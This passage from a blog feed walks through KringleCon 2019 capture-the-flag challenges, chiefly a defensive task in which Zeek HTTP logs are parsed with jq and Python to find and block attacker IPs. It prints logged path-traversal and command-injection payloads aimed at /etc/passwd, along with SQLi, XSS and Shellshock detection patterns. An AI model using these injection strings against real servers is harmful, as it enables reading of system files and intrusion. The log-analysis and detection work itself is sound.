&lt;p>&lt;strong>Hint&lt;/strong>: Hover over the browser tab, to reveal its title and the code hiding in the 2nd line. Alternatively, you can check the HTML source and browse to the &lt;code>&amp;lt;title&amp;gt;&lt;/code> attribute to see the code.&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock5.png" alt="Lock5">&lt;/p>
&lt;h3 id="lock-6">Lock 6&lt;/h3>
&lt;blockquote>
&lt;p>In order for this hologram to be effective, it may be necessary to increase your perspective.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: This was the first lock that was not so straightforward. There is some help in the hint that can be clicked under the text instruction. Also note the colourful card next to the lock with some characters on it already. It is likely that you need to increase the perspective property of that element in CSS editor, as pointed out in the hint. Some value in the thousands should be high enough to be able to read the code on the hologram card.&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock6.png" alt="Lock6">&lt;/p>
&lt;h3 id="lock-7">Lock 7&lt;/h3>
&lt;blockquote>
&lt;p>The font you&amp;rsquo;re seeing is pretty slick, but this lock&amp;rsquo;s code was my first pick.
In the &lt;code>font-family&lt;/code> css property, you can list multiple fonts, and the first available font on the system will be used.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: You should check the font-family property of the text which conveys the hint, and see the code hidden there&amp;hellip;&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock7.png" alt="Lock7">&lt;/p>
&lt;h3 id="lock-8">Lock 8&lt;/h3>
&lt;blockquote>
&lt;p>In the event that the .eggs go bad, you must figure out who will be sad.
Google: &amp;ldquo;[your browser name] view event handlers&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: You need to check the events related to the .eggs span in the hint paragraph. It hides the code you need.&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock8.png" alt="Lock8">&lt;/p>
&lt;h3 id="lock-9">Lock 9&lt;/h3>
&lt;blockquote>
&lt;p>This next code will be unredacted, but only when all the chakras are :active.
It is a css pseudo class that is applied on elements in an active state.
Google: &amp;ldquo;[your browser name] force psudo classes&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: For this lock, you need to add the &lt;strong>:active:&lt;/strong> property to all chakra spans, so they each reveal some fragment of the code.&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock9.png" alt="Lock9">&lt;/p>
&lt;h3 id="lock-10">Lock 10&lt;/h3>
&lt;blockquote>
&lt;p>Oh, no! This lock&amp;rsquo;s out of commission! Pop off the cover and locate what&amp;rsquo;s missing.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Hint&lt;/strong>: For this lock, you need to learn how to drag and drop HTML elements in the DOM tree explorer. Once you locate the &lt;code>&amp;lt;div&amp;gt;&lt;/code> for the lock&amp;rsquo;s cover, move it somewhere else to peek under it, and notice on the PCB board&amp;rsquo;s right edge the code. Write it down, them put the cover back and type it in to solve this lock.&lt;/p>
&lt;p>&lt;img src="../images/obj11-lock10.png" alt="Lock10">&lt;/p>
&lt;p>However, when you type in the code and double-checked it twice to make sure there are no typos, you will notice that it wouldn&amp;rsquo;t unlock. Upon further investigation you can see an error message in the console output:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">899c65f3-6ffa-4b5b-8214-73e08788bc80:1 Error: Missing macaroni!
at HTMLButtonElement.&amp;lt;anonymous&amp;gt; &lt;span class="o">(&lt;/span>899c65f3-6ffa-4b5b-8214-73e08788bc80:1&lt;span class="o">)&lt;/span>
&lt;span class="o">(&lt;/span>anonymous&lt;span class="o">)&lt;/span> @ 899c65f3-6ffa-4b5b-8214-73e08788bc80:1
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So the lock seems to want some &lt;strong>macaroni&lt;/strong>. If you search for it in the HTML page source you will find a div:&lt;/p>
&lt;p>&lt;img src="../images/obj11-macaroni.png" alt="Lock10">&lt;/p>
&lt;p>Drag and drop this into the last lock&amp;rsquo;s div to fix the error. Tip: you will need to this this twice more to fix two errors of the same kind: &lt;code>missing swab&lt;/code> and &lt;code>missing gnome&lt;/code>. Once these errors are fixed you can click UNLOCK and solve the challenge. The answer:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">The Tooth Fairy
&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="../images/obj11-solved.png" alt="Lock10">&lt;/p></description></item><item><title>Poisoned Weather Data</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective12/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective12/</guid><description>&lt;h2 id="zeek-no-more">Zeek no more!&lt;/h2>
&lt;p>Instructions in your badge:&lt;/p>
&lt;blockquote>
&lt;p>Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa&amp;rsquo;s flight mapping software.
Block the 100 offending sources of information to guide Santa&amp;rsquo;s sleigh through the attack. Submit the Route ID (&amp;ldquo;RID&amp;rdquo;) success value that you&amp;rsquo;re given.
For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.&lt;/p>
&lt;/blockquote>
&lt;p>Links from hint:&lt;/p>
&lt;ul>
&lt;li>
&lt;a href="https://downloads.elfu.org/http.log.gz" target="_blank" rel="noopener">Zeek logs&lt;/a>&lt;/li>
&lt;li>
&lt;a href="https://srf.elfu.org/" target="_blank" rel="noopener">SRF website&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Once you enter the Sleigh Shop Door, you will be greeted with these bunch:&lt;/p>
&lt;p>&lt;img src="../images/obj12-room.png" alt="Sleigh Shop">&lt;/p>
&lt;p>The Tooth Fairy greets you with the following:&lt;/p>
&lt;blockquote>
&lt;p>I’m the Tooth Fairy, the mastermind behind the plot to destroy the holiday season.
I hate how Santa is so beloved, but only works one day per year!
He has all of the resources of the North Pole and the elves to help him too.
I run a solo operation, toiling year-round collecting deciduous bicuspids and more from children.
But I get nowhere near the gratitude that Santa gets. He needs to share his holiday resources with the rest of us!
But, although you found me, you haven’t foiled my plot!
Santa’s sleigh will NOT be able to find its way.
I will get my revenge and respect!
I want my own holiday, National Tooth Fairy Day, to be the most popular holiday on the calendar!!!&lt;/p>
&lt;/blockquote>
&lt;p>Not a very good sign, but all is not lost yet. You should turn to Wunorse Openslae for some hints on defeating the Tooth Fairy, however he has a technical task for you before that:&lt;/p>
&lt;blockquote>
&lt;p>Wunorse Openslae here, just looking at some Zeek logs.
I&amp;rsquo;m pretty sure one of these connections is a malicious C2 channel&amp;hellip;
Do you think you could take a look?
I hear a lot of C2 channels have very long connection times.
Please use jq to find the longest connection in this data set.
We have to kick out any and all grinchy activity!&lt;/p>
&lt;/blockquote>
&lt;p>Next, you open the terminal and get to work:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">Some JSON files can get quite busy.
There&lt;span class="s1">&amp;#39;s lots to see and do.
&lt;/span>&lt;span class="s1">Does C&amp;amp;C lurk in our data?
&lt;/span>&lt;span class="s1">JQ&amp;#39;&lt;/span>s the tool &lt;span class="k">for&lt;/span> you!
-Wunorse Openslae
Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.
elf@3222ffd89de4:~$ ls
conn.log
elf@3222ffd89de4:~$ cat conn.log &lt;span class="p">|&lt;/span> wc -l
&lt;span class="m">143679&lt;/span>
elf@3222ffd89de4:~$
&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see, it is a rather large log file, so you should use JQ to parse it. Since you are interested in the IP that belongs to the connection with longest duration, you should extract that field, then pipe the output through some unix tools that can help you find the highest value. Next you should run JQ once more to find the IP that belongs to this highest duration:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">elf@3222ffd89de4:~$ cat conn.log &lt;span class="p">|&lt;/span> jq &lt;span class="s2">&amp;#34;.duration&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> uniq &lt;span class="p">|&lt;/span> sort -g &lt;span class="p">|&lt;/span> tail -n &lt;span class="m">1&lt;/span>
1019365.337758
elf@3222ffd89de4:~$ cat conn.log &lt;span class="p">|&lt;/span> jq &lt;span class="s2">&amp;#34;. | select (.duration == 1019365.337758)&amp;#34;&lt;/span>
&lt;span class="o">{&lt;/span>
&lt;span class="s2">&amp;#34;ts&amp;#34;&lt;/span>: &lt;span class="s2">&amp;#34;2019-04-18T21:27:45.402479Z&amp;#34;&lt;/span>,
&lt;span class="s2">&amp;#34;uid&amp;#34;&lt;/span>: &lt;span class="s2">&amp;#34;CmYAZn10sInxVD5WWd&amp;#34;&lt;/span>,
&lt;span class="s2">&amp;#34;id.orig_h&amp;#34;&lt;/span>: &lt;span class="s2">&amp;#34;192.168.52.132&amp;#34;&lt;/span>,
&lt;span class="s2">&amp;#34;id.orig_p&amp;#34;&lt;/span>: 8,
&lt;span class="s2">&amp;#34;id.resp_h&amp;#34;&lt;/span>: &lt;span class="s2">&amp;#34;13.107.21.200&amp;#34;&lt;/span>,
&lt;span class="s2">&amp;#34;id.resp_p&amp;#34;&lt;/span>: 0,
&lt;span class="s2">&amp;#34;proto&amp;#34;&lt;/span>: &lt;span class="s2">&amp;#34;icmp&amp;#34;&lt;/span>,
&lt;span class="s2">&amp;#34;duration&amp;#34;&lt;/span>: 1019365.337758,
&lt;span class="s2">&amp;#34;orig_bytes&amp;#34;&lt;/span>: 30781920,
&lt;span class="s2">&amp;#34;resp_bytes&amp;#34;&lt;/span>: 30382240,
&lt;span class="s2">&amp;#34;conn_state&amp;#34;&lt;/span>: &lt;span class="s2">&amp;#34;OTH&amp;#34;&lt;/span>,
&lt;span class="s2">&amp;#34;missed_bytes&amp;#34;&lt;/span>: 0,
&lt;span class="s2">&amp;#34;orig_pkts&amp;#34;&lt;/span>: 961935,
&lt;span class="s2">&amp;#34;orig_ip_bytes&amp;#34;&lt;/span>: 57716100,
&lt;span class="s2">&amp;#34;resp_pkts&amp;#34;&lt;/span>: 949445,
&lt;span class="s2">&amp;#34;resp_ip_bytes&amp;#34;&lt;/span>: &lt;span class="m">56966700&lt;/span>
&lt;span class="o">}&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>To submit the answer execute the &lt;strong>runtoanswer&lt;/strong> command on the terminal:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">elf@3222ffd89de4:~$ runtoanswer
Loading, please wait......
What is the destination IP address with the longes connection duration? 13.107.21.200
Thank you &lt;span class="k">for&lt;/span> your analysis, you are spot-on.
I would have been working on that &lt;span class="k">until&lt;/span> the early dawn.
Now that you know the features of jq,
You&lt;span class="err">&amp;#39;&lt;/span>ll be able to answer other challenges too.
-Wunorse Openslae
Congratulations!
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="fixing-the-weather">Fixing the weather&lt;/h2>
&lt;p>So now you can attack the final objective and you also get some encouraging words from the Krampus in the room:&lt;/p>
&lt;blockquote>
&lt;p>But there’s still time! Solve the final challenge in your badge by blocking the bad IPs at srf.elfu.org and save the holiday season!&lt;/p>
&lt;/blockquote>
&lt;p>Go to link:
&lt;a href="https://srf.elfu.org/" target="_blank" rel="noopener">SRF&lt;/a>&lt;/p>
&lt;p>However, you notice that the website needs credentials before you can access it. Luckily, you remember the &lt;strong>Elfscrow&lt;/strong> objective and the pdf document you successfully recovered, in which there was some good clues for how this can be achieved:&lt;/p>
&lt;p>&lt;img src="../images/obj12-srf.png" alt="SRF document">&lt;/p>
&lt;p>Link to the readme file:
&lt;a href="https://srf.elfu.org/README.md" target="_blank" rel="noopener">here&lt;/a> and the credentials inside:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">&lt;span class="c1">#### Logging in:&lt;/span>
You can login using the default admin pass:
&lt;span class="s1">&amp;#39;admin 924158F9522B3744F5FCD4D10FAC4356&amp;#39;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After logging in, you can scroll down to see the Firewall section, which is where you will need to enter the IP addresses which you think are malicious, based on your analysis.&lt;/p>
&lt;p>&lt;img src="../images/obj12-firewall.png" alt="SRF document">&lt;/p>
&lt;h2 id="weed-out-the-bad-ips">Weed out the bad IPs!&lt;/h2>
&lt;p>In order to find the list of IP addresses (around 100 or so in total, as pointed out in the objective) you need to download the Zeek logs from
&lt;a href="https://downloads.elfu.org/http.log.gz" target="_blank" rel="noopener">here&lt;/a>, and run your analysis on them. At this point it is worth to go back to Wunorse to see hear his hints for the analysis task:&lt;/p>
&lt;blockquote>
&lt;p>That&amp;rsquo;s got to be the one - thanks!
Hey, you know what? We&amp;rsquo;ve got a crisis here.
You see, Santa&amp;rsquo;s flight route is planned by a complex set of machine learning algorithms which use available weather data.
All the weather stations are reporting severe weather to Santa&amp;rsquo;s Sleigh. I think someone might be forging intentionally false weather data.
I&amp;rsquo;m so flummoxed I can&amp;rsquo;t even remember how to login!
Hmm&amp;hellip; Maybe the Zeek http.log could help us.
I worry about LFI, XSS, and SQLi in the Zeek log - oh my!
And I&amp;rsquo;d be shocked if there weren&amp;rsquo;t some shell stuff in there too.
I&amp;rsquo;ll bet if you pick through, you can find some naughty data from naughty hosts and block it in the firewall.
If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs.
The sleigh&amp;rsquo;s machine learning device (SRF) needs most of the malicious IPs blocked in order to calculate a good route.
Try not to block many legitimate weather station IPs as that could also cause route calculation failure.
Remember, when looking at JSON data, jq is the tool for you!&lt;/p>
&lt;/blockquote>
&lt;p>He provides some very useful hints about
&lt;a href="https://highon.coffee/blog/lfi-cheat-sheet/" target="_blank" rel="noopener">LFI&lt;/a>,
&lt;a href="https://labs.detectify.com/2012/11/07/how-to-exploit-an-xss/" target="_blank" rel="noopener">XSS&lt;/a>,
&lt;a href="https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/" target="_blank" rel="noopener">SQLi&lt;/a> and
&lt;a href="https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/" target="_blank" rel="noopener">Shell&lt;/a> exploits. In order to try to uncover the IP addresses that originate such attacks, I wrote a custom python script, which parsed the Zeek logs looking for signs of such exploits. More specifically for each category of exploits I looked for:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">SQLi &amp;gt; presence of &lt;span class="s1">&amp;#39; in uri, username or user_agent fields
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">XSS &amp;gt; presence of &amp;lt; in uri or host fields
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">LFI &amp;gt; presence of /passw in uri field
&lt;/span>&lt;span class="s1">
&lt;/span>&lt;span class="s1">Shell &amp;gt; presence of &amp;#39;&lt;/span>:&lt;span class="p">;&lt;/span>&lt;span class="s1">&amp;#39; or &amp;#39;&lt;/span>&lt;span class="o">}&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="err">&amp;#39;&lt;/span> in user_agent field
&lt;/code>&lt;/pre>&lt;/div>&lt;p>As an example, if I did a quick and dirty search for LFI exploits via cat and JQ:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">cat http.log &lt;span class="p">|&lt;/span> jq &lt;span class="s1">&amp;#39;.[] | .uri&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> grep /passw
&lt;span class="s2">&amp;#34;/api/weather?station_id=\&amp;#34;/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/weather?station_id=../../../../../../../../../../bin/cat /etc/passwd\\\\x00|&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/stations?station_id=|cat /etc/passwd|&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/weather?station_id=;cat /etc/passwd&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/password/&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/login?id=cat /etc/passwd||&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/weather?station_id=`/etc/passwd`&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/weather?station_id=/../../../../../../../../../../../etc/passwd&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/gtcatalog/password.inc&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/gtcatalog/password.inc&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/login?id=/../../../../../../../../../etc/passwd&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/password-manager-master/beta/index.html&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/weather?station_id=/../../../../../../../../etc/passwd&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/weather?station_id=/etc/passwd&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/files/passwd.txt&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/scripts/files/passwd.txt&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/guestbook/files/passwd.txt&amp;#34;&lt;/span>
&lt;span class="s2">&amp;#34;/api/login?id=.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./etc/passwd&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Quite easily this search revealed some requests trying to gain access to the &lt;strong>passwd&lt;/strong> file. Next, I took the specified search criteria and implemented them in a python script.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="n">ips_blacklist&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">set&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># collection of IP addresses deemed to be malicious&lt;/span>
&lt;span class="c1"># load the json into logs object&lt;/span>
&lt;span class="n">logs&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">load&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;http.log&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;span class="c1"># iterate over entries and filter based on identified markers of IoC&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">log&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">logs&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;username&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span>
&lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span>
&lt;span class="s2">&amp;#34;&amp;lt;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;host&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;pass&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span>
&lt;span class="s2">&amp;#34;:;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;};&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]):&lt;/span>
&lt;span class="n">ips_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id.orig_h&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="c1"># print IP blacklist for copy pasting into SRF FW&lt;/span>
&lt;span class="k">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;,&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ips_blacklist&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This script loops through the Zeek logs and collects &lt;strong>IP_address&lt;/strong> and &lt;strong>user_agent&lt;/strong> values that we deem malicious. At the end it prints the collected IP addresses in a comma-separated manner in one line, which you can copy paste into the Firewall input field on the SRF website, then click Deny and see if you found enough.&lt;/p>
&lt;p>After pasting in the script output and clicking &lt;strong>DENY&lt;/strong> in the SRF firewall, the calculation still failed, most likely because only about 80 or so IP addresses were found via the above script. That seems short of the 100 which was mentioned in the objective. I turn to the hints from Wunorse again and notice this sentence:&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs.&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>As a next step I extended the script and pivoted by looking for additional malicious IP addresses based on known bad &lt;strong>user_agent&lt;/strong> strings. The idea was to loop through the log again, and see if the current entry&amp;rsquo;s &lt;strong>user_agent&lt;/strong> matches any of the known malicious &lt;strong>user_agent&lt;/strong> values in our &lt;strong>ua_blacklist&lt;/strong>.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="n">ips_blacklist&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">set&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># set of IPs found to be malicious&lt;/span>
&lt;span class="n">ua_blacklist&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">list&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># list so that later on we can count items that are added multiple times&lt;/span>
&lt;span class="c1"># ... code removed for brevity&lt;/span>
&lt;span class="c1"># collect new malicious agents that match existing ones but not in ips_blacklist&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">log&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">logs&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ua_blacklist&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id.orig_h&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">ips_blacklist&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="n">ips_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;id.orig_h&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;span class="n">ua_blacklist&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This however provided way too many IP addresses, more than &lt;strong>200&lt;/strong>, so it needs to be reduced somehow. For this I decided to create a third list for whitelisting &lt;strong>user_agents&lt;/strong> strings that are found often enough to signal that it may be benign. After fiddling around with the right threshold, I came to the conclusion that if the same &lt;strong>user_agent&lt;/strong> string is found more than &lt;strong>9&lt;/strong> times in the &lt;strong>ua_blacklist&lt;/strong>, then it could be safely added to a whitelist.&lt;/p>
&lt;p>The full python script can be found below and also in this Github
&lt;a href="https://github.com/florianakos/kringlecon-zeeklogs-srf/" target="_blank" rel="noopener">repo&lt;/a>. It prints out 110 IP addresses, which is more or less close to 100, and more importantly is an accepted solution on the SRF Firewall.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="kn">import&lt;/span> &lt;span class="nn">json&lt;/span>
&lt;span class="n">ips_blacklist&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">set&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># set of IPs found to be malicious&lt;/span>
&lt;span class="n">ua_blacklist&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">list&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># list so that later on we can count items that are added multiple times&lt;/span>
&lt;span class="n">ua_whitelist&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">set&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="c1"># set of user_agents that are found to be benign&lt;/span>
&lt;span class="c1"># load the json into logs object&lt;/span>
&lt;span class="n">logs&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">load&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;http.log&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;span class="c1"># iterate over entries and filter based on identified markers of IoC&lt;/span>
&lt;span class="k">for&lt;/span> &lt;span class="n">log&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">logs&lt;/span>&lt;span class="p">:&lt;/span>
&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;username&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span>
&lt;span class="s2">&amp;#34;&amp;#39;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;user_agent&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span>
&lt;span class="s2">&amp;#34;&amp;lt;&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;host&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="s2">&amp;#34;pass&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">log&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;uri&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="ow">or&lt;/span>
